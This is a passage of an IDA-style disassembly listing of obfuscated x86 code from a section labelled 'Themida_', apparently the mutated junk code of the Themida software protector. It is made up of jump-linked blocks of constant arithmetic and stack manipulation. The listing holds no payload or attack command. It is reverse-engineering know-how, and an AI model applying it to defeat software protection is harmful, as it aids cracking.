loc_5A7A23 ; --------------------------------------------------------------------------- loc_59CE6E: ; CODE XREF: Themida_:00599DBEj shr edx, 4 jmp loc_5AD3ED ; --------------------------------------------------------------------------- loc_59CE76: ; CODE XREF: Themida_:0059D6B6j mov eax, [esp] add esp, 4 push ebx mov ebx, esp push ebp mov ebp, 687434B4h dec ebp xor ebp, 5DEF1F98h shr ebp, 4 xor ebp, 3AB546E5h shl ebp, 3 push edx mov edx, 67D95AE4h inc edx shr edx, 3 jmp loc_5A0537 ; --------------------------------------------------------------------------- loc_59CEA7: ; CODE XREF: Themida_:005AC0B9j xchg edx, [esp] pop esp cmp cl, al pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59CEB3: ; CODE XREF: Themida_:005A7411j push esi push 573Eh mov [esp], edx jmp loc_5AC5D7 ; --------------------------------------------------------------------------- loc_59CEC1: ; CODE XREF: Themida_:005A042Ej pop dword ptr [esp] mov esp, [esp] jmp loc_5A9B74 ; --------------------------------------------------------------------------- loc_59CECC: ; CODE XREF: Themida_:005A294Bj push 5EECh mov [esp], eax jmp loc_5AD674 ; --------------------------------------------------------------------------- loc_59CED9: ; CODE XREF: Themida_:0059AD53j ; Themida_:005A97FAj sub ebx, eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_5A0C03 ; --------------------------------------------------------------------------- loc_59CEEF: ; CODE XREF: Themida_:0059F0EAj sub bh, ch push dword ptr [esp] jmp loc_5988F1 ; --------------------------------------------------------------------------- loc_59CEF9: ; CODE XREF: Themida_:005ABA04j pop ecx jmp loc_5A3531 ; --------------------------------------------------------------------------- loc_59CEFF: ; CODE XREF: Themida_:005AEE76j pop edx add cl, 43h add cl, 6 jmp loc_5A0C28 ; --------------------------------------------------------------------------- loc_59CF0B: ; CODE XREF: Themida_:005ABBEDj jmp loc_5ADC74 ; --------------------------------------------------------------------------- loc_59CF10: ; CODE XREF: Themida_:005AD075j add edi, 49F00616h pop ebx sub esp, 4 jmp loc_5AE057 ; --------------------------------------------------------------------------- loc_59CF22: ; CODE XREF: Themida_:005A1B10j xchg edi, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push edi push esi mov esi, 1B590C76h mov edi, 1B590C7Ah sub edi, esi push dword ptr [esp] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_5AF21F ; --------------------------------------------------------------------------- loc_59CF68: ; CODE XREF: Themida_:005A9A97j push edi mov edi, esp jmp loc_5AAE24 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ebx mov ebx, 56554945h jmp loc_5A14A5 ; --------------------------------------------------------------------------- loc_59CF81: ; CODE XREF: Themida_:005AE165j add ebx, 583F9CBFh jmp loc_5AB2BA ; --------------------------------------------------------------------------- loc_59CF8C: ; CODE XREF: Themida_:005AC788j sub ebx, 4 xchg ebx, [esp] jmp loc_5AC209 ; --------------------------------------------------------------------------- loc_59CF9A: ; CODE XREF: Themida_:005A1DDCj pop ecx sub al, 0C0h push edx mov dl, 0F5h sub al, dl pop edx sub al, 9 add al, dl add al, 9 add al, 0F5h push ebx mov bl, 0C0h add al, bl mov ebx, [esp] add esp, 4 mov dx, [esp] add esp, 2 push bx mov bh, 0A9h inc bh add bh, 3Bh jmp loc_5AC8A9 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59CFDE: ; CODE XREF: Themida_:005AC7F6j add esi, edi sub esi, 25AE10B4h pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_5A1E3C ; --------------------------------------------------------------------------- loc_59CFF8: ; CODE XREF: Themida_:005A8EFCj pop eax neg edi jmp loc_599EDB ; --------------------------------------------------------------------------- loc_59D000: ; CODE XREF: Themida_:0059F90Aj sub ebx, ebp pop ebp jmp loc_5A38BF ; --------------------------------------------------------------------------- loc_59D008: ; CODE XREF: Themida_:005A16E4j mov ebp, 35737AA9h or ebp, 28E64716h push esi mov esi, 47C95439h push edx mov edx, 674C0235h sub esi, edx jmp loc_5A4610 ; --------------------------------------------------------------------------- loc_59D026: ; CODE XREF: Themida_:005ABD0Cj pop esp push 3A11h jmp loc_59C752 ; --------------------------------------------------------------------------- push 0B96h jmp loc_59F7F5 ; --------------------------------------------------------------------------- loc_59D03B: ; CODE XREF: Themida_:005A3A0Fj jmp loc_59838C ; --------------------------------------------------------------------------- loc_59D040: ; CODE XREF: Themida_:005ACBF7j sub edx, esi pop esi sub edx, 15DA35D2h add edx, edi jmp loc_5A6055 ; --------------------------------------------------------------------------- mov cx, [esp] push 2384h jmp loc_5A2727 ; --------------------------------------------------------------------------- loc_59D05E: ; CODE XREF: Themida_:00599A2Bj mov [esp], ebx push edi mov edi, 0CA95E82h push 65A8h mov [esp], edi pop ebx mov edi, [esp] add esp, 4 inc ebx js loc_5A16E9 add ebx, 40DD013Dh jns loc_5A3AEE not ebx xor ebx, 87C32A4h jmp loc_59DDDF ; --------------------------------------------------------------------------- loc_59D096: ; CODE XREF: Themida_:005A0C23j pop edi neg edi not edi neg edi inc edi push edx push ebp mov ebp, 2F805AA9h jmp loc_5A15A2 ; --------------------------------------------------------------------------- loc_59D0AA: ; CODE XREF: Themida_:005ABAAFj add cl, 0A4h jge loc_59A001 add cl, 2Dh mov dh, cl pop ecx add dh, 5 jmp loc_5A6040 ; --------------------------------------------------------------------------- loc_59D0C1: ; CODE XREF: Themida_:005A68F3j jmp loc_59838C ; --------------------------------------------------------------------------- loc_59D0C6: ; CODE XREF: Themida_:0059EC7Ej add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 1A01h mov [esp], esi push ecx push 4F2A7EDFh pop ecx not ecx jmp loc_5A763E ; --------------------------------------------------------------------------- loc_59D0EC: ; CODE XREF: Themida_:005A1337j add esi, 6E9C0282h add esi, 64F37A4h add esi, eax sub esi, 64F37A4h sub esi, 6E9C0282h push 73D7h jmp loc_5AC354 ; --------------------------------------------------------------------------- loc_59D110: ; CODE XREF: Themida_:005A9B57j sub edx, 2CB11D3Bh jmp loc_5AB20C ; --------------------------------------------------------------------------- loc_59D11B: ; CODE XREF: Themida_:0059B710j ; Themida_:0059B88Aj push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5A08BE ; --------------------------------------------------------------------------- loc_59D12C: ; CODE XREF: Themida_:0059DA8Aj add esi, 4 xchg esi, [esp] pop esp push 0BDFh mov [esp], ebx mov ebx, 5F3C533Ch xor ecx, ebx jmp loc_59C783 ; --------------------------------------------------------------------------- loc_59D147: ; CODE XREF: Themida_:005A6ADFj sub edx, esi pop esi pop ebp jmp loc_5A4456 ; --------------------------------------------------------------------------- loc_59D150: ; CODE XREF: Themida_:0059E748j mov ah, bh pop ebx push dword ptr [esp] pop edx jmp loc_59E758 ; --------------------------------------------------------------------------- loc_59D15C: ; CODE XREF: Themida_:0059BEB4j push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push esi jmp loc_5A0215 ; --------------------------------------------------------------------------- loc_59D16C: ; CODE XREF: Themida_:005AF49Dj dec ah jg loc_5A1076 jmp loc_598FB7 ; --------------------------------------------------------------------------- push edi mov edi, 38616C74h push eax loc_59D180: ; CODE XREF: Themida_:005A789Dj add esp, 4 xor ecx, 30982E63h mov eax, [esp] push edx push esp pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] pop ebx push 7ACBh mov [esp], ebp push edi mov edi, 6C072A76h mov ebp, 6C072A7Ah push eax push ebx mov ebx, 7F844E17h push eax mov eax, 742A0C2Dh xor ebx, eax mov eax, [esp] add esp, 4 jmp loc_5A85AF ; --------------------------------------------------------------------------- loc_59D1D8: ; CODE XREF: Themida_:005A48E8j ; Themida_:005AE40Bj and eax, 5900011Ch xor eax, 5906677Ch add edx, 64DD6B49h add edx, eax sub edx, 64DD6B49h pop eax add edx, ebx push 12EDh mov [esp], ebp mov ebp, 1806677Ch add edx, 445A7CE5h sub edx, ebp sub edx, 445A7CE5h mov ebp, [esp] add esp, 4 mov ebx, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] or [esp], ax pushf jmp loc_5A252F ; --------------------------------------------------------------------------- loc_59D233: ; CODE XREF: Themida_:005AD519j add ah, 35h push dx mov dh, 0E0h add ah, dh pop dx mov ch, ah mov eax, [esp] add esp, 4 sub ah, ch pop cx xor bl, ah pop eax neg bl jmp loc_59FA2D ; --------------------------------------------------------------------------- loc_59D254: ; CODE XREF: Themida_:005AA949j push dword ptr [esp] push dword ptr [esp] pop eax push eax jmp loc_5A04F1 ; --------------------------------------------------------------------------- loc_59D261: ; CODE XREF: Themida_:005A6F6Ej push edi push eax mov eax, 7B0E3718h neg eax jmp loc_5A54AD ; --------------------------------------------------------------------------- loc_59D26F: ; CODE XREF: Themida_:005A0914j xor ebx, 9C84D652h mov ebp, ebx mov ebx, [esp] jmp loc_5AE5C6 ; --------------------------------------------------------------------------- loc_59D27F: ; CODE XREF: Themida_:005A8EC7j push ebx mov ebx, 4 add ecx, ebx pop ebx push ebp mov ebp, 4 jmp loc_59AC85 ; --------------------------------------------------------------------------- loc_59D293: ; CODE XREF: Themida_:005A846Dj xchg ebp, [esp] pop esp jmp loc_59DA25 ; --------------------------------------------------------------------------- loc_59D29C: ; CODE XREF: Themida_:0059ECF7j xor edi, eax jmp loc_5A02CC ; --------------------------------------------------------------------------- loc_59D2A3: ; CODE XREF: Themida_:0059AD30j sub dword ptr [esp+4], 55F663FAh sub dword ptr [esp+4], 2AAD4243h push dword ptr [esp] pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5A2B86 ; --------------------------------------------------------------------------- loc_59D2C8: ; CODE XREF: Themida_:005A9677j jmp loc_59D561 ; --------------------------------------------------------------------------- loc_59D2CD: ; CODE XREF: Themida_:0059EACCj and dl, 0A8h sub dl, 0D6h shr dl, 7 jmp loc_5A0930 ; --------------------------------------------------------------------------- loc_59D2DB: ; CODE XREF: Themida_:0059D367j pop esi dec esi add esi, 10290232h mov ebx, esi jmp loc_5A8C78 ; --------------------------------------------------------------------------- loc_59D2EA: ; CODE XREF: Themida_:0059ABBFj mov ecx, 75953CAh xor ecx, 401E7270h and ecx, 4B481CB0h and ecx, 43EC3AC4h jmp loc_5A5AD1 ; --------------------------------------------------------------------------- loc_59D306: ; CODE XREF: Themida_:loc_5A05F4j or ebx, 0EE9230Ch jmp loc_59E74D ; --------------------------------------------------------------------------- loc_59D311: ; CODE XREF: Themida_:005A3CCCj sub al, 58h sub al, bh add al, 58h jmp loc_5ABEB3 ; --------------------------------------------------------------------------- loc_59D31C: ; CODE XREF: Themida_:005A6B92j xor edx, 0EEB1C9E9h jmp loc_5AE5F6 ; --------------------------------------------------------------------------- loc_59D327: ; CODE XREF: Themida_:005A5D1Aj ; Themida_:005A9F47j add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_59C3D3 ; --------------------------------------------------------------------------- loc_59D34B: ; CODE XREF: Themida_:0059AF9Dj add esi, 4 xchg esi, [esp] jmp loc_5A0D4E ; --------------------------------------------------------------------------- loc_59D359: ; CODE XREF: Themida_:005AE109j push 7E95h mov [esp], ebx push esi push 3DE65E0Bh jmp loc_59D2DB ; --------------------------------------------------------------------------- loc_59D36C: ; CODE XREF: Themida_:loc_59F1BEj ; Themida_:005AC035j push eax mov ah, bh mov cl, ah pop eax mov dh, cl push dword ptr [esp] jmp loc_5A3526 ; --------------------------------------------------------------------------- loc_59D37C: ; CODE XREF: Themida_:005A3E9Aj mov ebx, 0F62639Ah xor ebx, 6D31449Ch jmp loc_59ACE7 ; --------------------------------------------------------------------------- loc_59D38C: ; CODE XREF: Themida_:005A135Dj xor ebp, 7C162636h jmp loc_5A804B ; --------------------------------------------------------------------------- loc_59D397: ; CODE XREF: Themida_:005AD433j mov [esp], edx jmp loc_5AD4F7 ; --------------------------------------------------------------------------- loc_59D39F: ; CODE XREF: Themida_:00599DCDj add bh, 0F2h mov al, bh jmp loc_5A433C ; --------------------------------------------------------------------------- loc_59D3A9: ; CODE XREF: Themida_:005A698Ej xor ebx, edx not edx xchg edx, ebx push ebx xchg eax, [esp] not eax xchg eax, [esp] pop ebx add ebx, 0B6D2A85h xor ebx, 53DE6CF6h add eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_5AB40B ; --------------------------------------------------------------------------- loc_59D3DB: ; CODE XREF: Themida_:005AA825j push 442Ch mov [esp], ebx sub esp, 4 jmp loc_5A8B72 ; --------------------------------------------------------------------------- loc_59D3EE: ; CODE XREF: Themida_:005A360Aj ; Themida_:005A6977j or ebx, ebx jnz loc_59BD83 push 410Ah mov [esp], edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_5A11C0 ; --------------------------------------------------------------------------- loc_59D416: ; CODE XREF: Themida_:00599252j ; Themida_:005A7279j push ecx mov cl, 10h and cl, 0B1h xor cl, 32h and cl, 29h dec cl push eax mov ah, 0E3h add ah, 81h xor ah, 0Ch jmp loc_5A9D57 ; --------------------------------------------------------------------------- loc_59D432: ; CODE XREF: Themida_:005A1175j push eax mov eax, 17738B9h and eax, 69639A5h jo loc_5AD5FF sub eax, 291730EDh jmp loc_5A880A ; --------------------------------------------------------------------------- loc_59D44D: ; CODE XREF: Themida_:0059B7D7j jmp loc_59838C ; --------------------------------------------------------------------------- loc_59D452: ; CODE XREF: Themida_:005A8577j mov ecx, 32F56C7Eh xor ecx, 6C236CC0h jmp loc_598F03 ; --------------------------------------------------------------------------- loc_59D462: ; CODE XREF: Themida_:005A80E2j add ebx, 2EDC52ECh jmp loc_59B4BA ; --------------------------------------------------------------------------- loc_59D46D: ; CODE XREF: Themida_:0059E48Ej mov ebx, 77834727h inc ebx jmp loc_5AC7FB ; --------------------------------------------------------------------------- loc_59D478: ; CODE XREF: Themida_:005A5EC8j push 6EB6h mov [esp], esi mov esi, esp push ecx mov ecx, 2EBF6C2Fh jmp loc_5A0A43 ; --------------------------------------------------------------------------- loc_59D48D: ; CODE XREF: Themida_:00598CE8j push edx push 4 pop edx add eax, 6CB07969h add eax, edx sub eax, 6CB07969h pop edx push edx jmp loc_598BF6 ; --------------------------------------------------------------------------- loc_59D4A7: ; CODE XREF: Themida_:005A41A6j push ebp mov ebp, 66CB61F3h add esi, ebp mov ebp, [esp] add esp, 4 add esi, eax push ecx jmp loc_59B2D3 ; --------------------------------------------------------------------------- loc_59D4BD: ; CODE XREF: Themida_:005AA907j jmp loc_59838C ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59D4CC: ; CODE XREF: Themida_:005AB14Dj sub [edi+24h], edx push dword ptr [esp] mov edx, [esp] push edx jmp loc_5AEF6A ; --------------------------------------------------------------------------- loc_59D4DB: ; CODE XREF: Themida_:005A8FC6j mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_5A7B2B ; --------------------------------------------------------------------------- loc_59D4F8: ; CODE XREF: Themida_:005A3B20j push edx jmp loc_59F1E6 ; --------------------------------------------------------------------------- loc_59D4FE: ; CODE XREF: Themida_:0059A84Bj jmp loc_5ADBDD ; --------------------------------------------------------------------------- loc_59D503: ; CODE XREF: Themida_:005991F9j add dword ptr [esp+4], 2AB55C1h pop ebx mov edx, [esp] add esp, 4 push 5A43h mov [esp], edi push ebp jmp loc_59E137 ; --------------------------------------------------------------------------- loc_59D520: ; CODE XREF: Themida_:005A8CB3j mov cx, [esp] jmp loc_59EE39 ; --------------------------------------------------------------------------- loc_59D529: ; CODE XREF: Themida_:005A4EABj mov [esp], eax jmp loc_5A5FBB ; --------------------------------------------------------------------------- loc_59D531: ; CODE XREF: Themida_:005A8C1Aj shr ebp, 6 dec ebp jmp loc_5AB0A9 ; --------------------------------------------------------------------------- loc_59D53A: ; CODE XREF: Themida_:005A3ED9j shl edi, 4 jmp loc_5AC305 ; --------------------------------------------------------------------------- loc_59D542: ; CODE XREF: Themida_:loc_5A3E36j xor esi, 74BC05C0h xor esi, 30F8FC01h jmp loc_5A68AF ; --------------------------------------------------------------------------- loc_59D553: ; CODE XREF: Themida_:005A7B89j sub esp, 4 mov [esp], edx jmp loc_5AAB7F ; --------------------------------------------------------------------------- loc_59D561: ; CODE XREF: Themida_:loc_59D2C8j ; Themida_:0059D770j push esi mov esi, esp add esi, 4 sub esp, 4 mov [esp], edi mov edi, 3246578Eh add edi, 1 not edi inc edi jmp loc_5A3142 ; --------------------------------------------------------------------------- loc_59D586: ; CODE XREF: Themida_:loc_59F1B9j push ecx mov ecx, 44A657D8h xor ebx, ecx pop ecx and ebx, 26AE27D9h jmp loc_5AA078 ; --------------------------------------------------------------------------- loc_59D59A: ; CODE XREF: Themida_:005AD0C3j push edx mov edx, 35DAECC9h add ecx, edx pop edx sub esp, 4 mov [esp], ebp jmp loc_5A331E ; --------------------------------------------------------------------------- loc_59D5AE: ; CODE XREF: Themida_:005AA48Cj add [esp+4], ecx pop ecx jmp loc_5ADE63 ; --------------------------------------------------------------------------- loc_59D5B8: ; CODE XREF: Themida_:005A15C4j mov [esp], ecx sub esp, 4 mov [esp], ebp push 204C7EC5h pop ebp shl ebp, 2 neg ebp jp loc_5A3626 xor ebp, 7ECE04FCh mov ecx, ebp mov ebp, [esp] push 5884h jmp loc_59C681 ; --------------------------------------------------------------------------- loc_59D5E7: ; CODE XREF: Themida_:005A8140j push 44F2h mov [esp], edx mov edx, 77862CEEh sub edx, 4C1F764Ch jmp loc_5AD538 ; --------------------------------------------------------------------------- loc_59D5FF: ; CODE XREF: Themida_:005A0A93j xor dword ptr [esp], 32F41360h pop ecx push ebx jmp loc_5AE7BA ; --------------------------------------------------------------------------- loc_59D60D: ; CODE XREF: Themida_:0059FD4Ej xchg ecx, [esp] jmp loc_59B836 ; --------------------------------------------------------------------------- loc_59D615: ; CODE XREF: Themida_:0059B958j btr [esp], ax pushf jmp loc_5AB270 ; --------------------------------------------------------------------------- loc_59D620: ; CODE XREF: Themida_:005AA424j pop ebx add esp, 4 sub esi, 4FFA0659h add esi, ebp add esi, 4FFA0659h add esi, 0BAB2AE1h jmp loc_5AE200 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_5A07A9 ; --------------------------------------------------------------------------- loc_59D64F: ; CODE XREF: Themida_:005A1EFAj xchg ebp, [esp] pop esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_5AE0BD ; --------------------------------------------------------------------------- loc_59D66A: ; CODE XREF: Themida_:005ABBBAj mov ebp, [esp] add esp, 4 sub ecx, 0DF4EF206h add ebp, 4E431F80h add ebp, ecx sub ebp, 4E431F80h jmp loc_59B0C3 ; --------------------------------------------------------------------------- loc_59D68C: ; CODE XREF: Themida_:0059EC11j xor edi, 57C37200h sub esi, 6233077Bh add esi, edi push edx jmp loc_5A6BE5 ; --------------------------------------------------------------------------- loc_59D6A0: ; CODE XREF: Themida_:005AB54Bj mov [esp], ebp not dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 xchg ebp, [esp] push dword ptr [esp] jmp loc_59CE76 ; --------------------------------------------------------------------------- loc_59D6BB: ; CODE XREF: Themida_:0059A4E9j neg di add di, 5405h sub si, di pop edi xor bp, si pop esi and di, bp pop ebp add di, 37A4h xor di, 1FD3h sub cx, 30EDh add cx, 6181h add cx, di sub cx, 6181h add cx, 30EDh pop edi xor ax, cx pop ecx xor bx, ax movzx eax, ax push 5E40h mov [esp], edx push 2701h mov [esp], esp push ecx mov ecx, 4 jmp loc_59DA9A ; --------------------------------------------------------------------------- loc_59D716: ; CODE XREF: Themida_:00599091j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push esp mov esi, [esp] add esp, 4 jmp loc_59ACF8 ; --------------------------------------------------------------------------- loc_59D73A: ; CODE XREF: Themida_:005AF492j pop esp jmp loc_59B17A ; --------------------------------------------------------------------------- loc_59D740: ; CODE XREF: Themida_:0059EF2Dj pop edx add esi, 4 xchg esi, [esp] jmp loc_5A5EAE ; --------------------------------------------------------------------------- loc_59D74C: ; CODE XREF: Themida_:005A623Aj sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_5A7682 ; --------------------------------------------------------------------------- loc_59D75C: ; CODE XREF: Themida_:0059FE31j inc esi push ebp jmp loc_59A689 ; --------------------------------------------------------------------------- loc_59D763: ; CODE XREF: Themida_:005A629Ej xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov ax, [esp] jmp loc_59D561 ; --------------------------------------------------------------------------- loc_59D775: ; CODE XREF: Themida_:0059E010j push dword ptr [esp] jmp loc_5AD56F ; --------------------------------------------------------------------------- loc_59D77D: ; CODE XREF: Themida_:0059C92Cj mov esi, esp add esi, 4 add esi, 4 jmp loc_5A54A4 ; --------------------------------------------------------------------------- loc_59D78D: ; CODE XREF: Themida_:005A4CEAj neg ebp add ebp, 48A56DFCh mov edi, ebp pop ebp jmp loc_5A4911 ; --------------------------------------------------------------------------- loc_59D79D: ; CODE XREF: Themida_:0059C038j mov edi, 4EB04342h jmp loc_5AF205 ; --------------------------------------------------------------------------- loc_59D7A7: ; CODE XREF: Themida_:005A70E9j sub dl, 22h jmp loc_5A2C40 ; --------------------------------------------------------------------------- loc_59D7AF: ; CODE XREF: Themida_:005A7E7Bj pop edi xchg ecx, [esp] pop esp sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 jmp loc_59DC19 ; --------------------------------------------------------------------------- loc_59D7D7: ; CODE XREF: Themida_:005A0568j mov [esp], esi push 49A2h mov [esp], ebx mov ebx, esp push edi mov edi, 4 add ebx, edi pop edi jmp loc_5A9016 ; --------------------------------------------------------------------------- loc_59D7F2: ; CODE XREF: Themida_:005AED96j sub bh, 0BDh mov cl, bh pop ebx jmp loc_5A0C82 ; --------------------------------------------------------------------------- loc_59D7FD: ; CODE XREF: Themida_:005AD2A4j xor cl, 0C4h add bl, cl pop ecx sub bl, 0A7h add bl, 0C5h jmp loc_5A873E ; --------------------------------------------------------------------------- loc_59D80E: ; CODE XREF: Themida_:005AAE4Cj add dl, 5 mov ch, dl jmp loc_5AB49A ; --------------------------------------------------------------------------- loc_59D818: ; CODE XREF: Themida_:005AD0F8j xchg esi, [esp] pop esp push ebx mov ebx, esp add ebx, 4 jmp loc_5A5302 ; --------------------------------------------------------------------------- loc_59D82A: ; CODE XREF: Themida_:005A1C92j pop ebx add ebx, 16766F87h sub ebx, esi sub ebx, 16766F87h mov esi, [esp] add esp, 4 pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5AEFBC ; --------------------------------------------------------------------------- loc_59D84E: ; CODE XREF: Themida_:005A8267j add ebx, edi pop edi push 71D7h mov [esp], ecx push ebx jmp loc_59E9E9 ; --------------------------------------------------------------------------- loc_59D85F: ; CODE XREF: Themida_:005A54D8j push esi mov esi, 5CDD195Fh mov ebp, 6E9C7F6Dh sub ebp, esi jmp loc_5A88DC ; --------------------------------------------------------------------------- loc_59D871: ; CODE XREF: Themida_:005AC9CEj add ebx, 8C8BD398h add esi, ebx mov ebx, [esp] add esp, 4 jmp loc_5A537B ; --------------------------------------------------------------------------- loc_59D887: ; CODE XREF: Themida_:005A0045j neg edi jmp loc_5ABAB4 ; --------------------------------------------------------------------------- loc_59D88E: ; CODE XREF: Themida_:005A8AE7j jmp loc_5AD15F ; --------------------------------------------------------------------------- loc_59D893: ; CODE XREF: Themida_:005A3985j mov esi, esp push ecx push 4 pop ecx sub esi, 72A9718Ch add esi, ecx push edx mov edx, 72A9718Ch jmp loc_5A2E3F ; --------------------------------------------------------------------------- loc_59D8AF: ; CODE XREF: Themida_:0059DC9Fj xchg edi, [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp or ecx, ecx jz loc_5A0562 push 61B9h push 810h jmp loc_5AF4C9 ; --------------------------------------------------------------------------- loc_59D8DD: ; CODE XREF: Themida_:0059E916j ; Themida_:005A4380j add edx, esi mov esi, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5AD784 ; --------------------------------------------------------------------------- loc_59D8F3: ; CODE XREF: Themida_:005AC67Dj sub ecx, 0D4623DDDh or ecx, 3326565Ah jmp loc_59B252 ; --------------------------------------------------------------------------- loc_59D904: ; CODE XREF: Themida_:005996ACj xor eax, ecx pop ecx shl eax, 4 shl eax, 5 push edx push ebp mov ebp, 34141204h jmp loc_5A587B ; --------------------------------------------------------------------------- loc_59D919: ; CODE XREF: Themida_:0059E7EAj mov ebx, [esp] jmp loc_5A1135 ; --------------------------------------------------------------------------- loc_59D921: ; CODE XREF: Themida_:0059B5E8j add edi, 122D5E05h jmp loc_5A6A25 ; --------------------------------------------------------------------------- loc_59D92C: ; CODE XREF: Themida_:0059DD83j mov ebp, 6FA40152h sub edx, 36372CA2h add edx, ebp add edx, 36372CA2h pop ebp sub edx, eax jmp loc_5A3A26 ; --------------------------------------------------------------------------- loc_59D947: ; CODE XREF: Themida_:005A2E01j push 1B40h mov [esp], edx mov edx, 16C256D0h or edx, 2E6F6006h jmp loc_5A7B7C ; --------------------------------------------------------------------------- loc_59D95F: ; CODE XREF: Themida_:005AB038j add dword ptr [eax], 1 push dword ptr [esp] mov eax, [esp] jmp loc_5A84A2 ; --------------------------------------------------------------------------- loc_59D970: ; CODE XREF: Themida_:0059BA00j push 13E13248h jmp loc_5A2219 ; --------------------------------------------------------------------------- loc_59D97A: ; CODE XREF: Themida_:005ACB69j add edx, 684E71BFh sub esp, 4 mov [esp], esi jmp loc_5AC961 ; --------------------------------------------------------------------------- loc_59D98B: ; CODE XREF: Themida_:0059F11Fj ; Themida_:005A0868j pop edi add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_5A6CAD ; --------------------------------------------------------------------------- loc_59D9A3: ; CODE XREF: Themida_:005A5BE6j add eax, 2DFE7264h add eax, 53B600DAh sub eax, esi jmp loc_5A19A9 ; --------------------------------------------------------------------------- loc_59D9B4: ; CODE XREF: Themida_:005A0BD3j push 0E37h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 sub esi, 4 jmp loc_5A6DC5 ; --------------------------------------------------------------------------- loc_59D9CF: ; CODE XREF: Themida_:0059E104j ; Themida_:005AE61Aj push dword ptr [esp] pop eax jmp loc_5A3E51 ; --------------------------------------------------------------------------- loc_59D9D8: ; CODE XREF: Themida_:005A423Cj xchg eax, [esp] pop esp jmp loc_5AE460 ; --------------------------------------------------------------------------- loc_59D9E1: ; CODE XREF: Themida_:005A1501j inc ebp jo loc_59C503 and ebp, 18D217C8h jl loc_59BE9F xor ebp, 3F2A60AFh mov edx, ebp pop ebp push edx sub dword ptr [esp], 5A611C5Ch pop edi add edi, 5A611C5Ch pop edx jmp loc_59A581 ; --------------------------------------------------------------------------- loc_59DA12: ; CODE XREF: Themida_:005A08C8j mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] pop esp mov eax, edx jmp loc_5A1567 ; --------------------------------------------------------------------------- loc_59DA25: ; CODE XREF: Themida_:0059D297j ; Themida_:005A7779j mov [esp], ebx mov eax, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_59DF66 ; --------------------------------------------------------------------------- loc_59DA43: ; CODE XREF: Themida_:005A8198j xor edx, ebp pop ebp shl edx, 8 not edx jmp loc_5A36CA ; --------------------------------------------------------------------------- loc_59DA50: ; CODE XREF: Themida_:0059BBB8j xchg esi, ebp jmp loc_5ACC19 ; --------------------------------------------------------------------------- loc_59DA57: ; CODE XREF: Themida_:005AE315j xor esi, ebp pop ebp mov edx, esi pop esi and eax, edx pop edx or edx, eax shl edx, 1 push 7585h jmp loc_5AC9AA ; --------------------------------------------------------------------------- loc_59DA6E: ; CODE XREF: Themida_:0059C7F1j ; Themida_:005A368Cj or ebp, 7E035239h inc ebp sub ebp, 7F975EB6h add esi, 4BB53C0Eh add esi, ebp sub esi, 4BB53C0Eh pop ebp jmp loc_59D12C ; --------------------------------------------------------------------------- loc_59DA8F: ; CODE XREF: Themida_:005A5212j add ecx, 5BC07827h jmp loc_5A31FA ; --------------------------------------------------------------------------- loc_59DA9A: ; CODE XREF: Themida_:0059D711j add [esp+4], ecx mov ecx, [esp] add esp, 4 mov edx, [esp] add esp, 4 push esi mov esi, 59D03EB4h dec esi push ebp push ebx mov ebx, 59353873h mov ebp, ebx pop ebx push edx mov edx, 4064126Fh neg edx inc edx xor edx, 0D4D5FC40h xor ebp, edx pop edx xor ebp, 48F173CEh sub ebp, 60BA4674h add esi, ebp mov ebp, [esp] add esp, 4 xor esi, 73A052AAh add edx, 62FB32ABh jmp loc_5AE854 ; --------------------------------------------------------------------------- loc_59DAF5: ; CODE XREF: Themida_:00599EB9j shl ebp, 4 push edx mov edx, 48D825E3h add edx, 1BC22A0Ah add ebp, edx pop edx shl ebp, 5 jmp loc_5AECCF ; --------------------------------------------------------------------------- loc_59DB0F: ; CODE XREF: Themida_:005A7810j push 6608h mov [esp], esi push eax mov eax, 24914E3h jmp loc_59C30E ; --------------------------------------------------------------------------- loc_59DB22: ; CODE XREF: Themida_:0059EF34j jnz loc_5A014D add bp, 5E9Bh mov bx, bp mov ebp, [esp] push ebx pop ebp 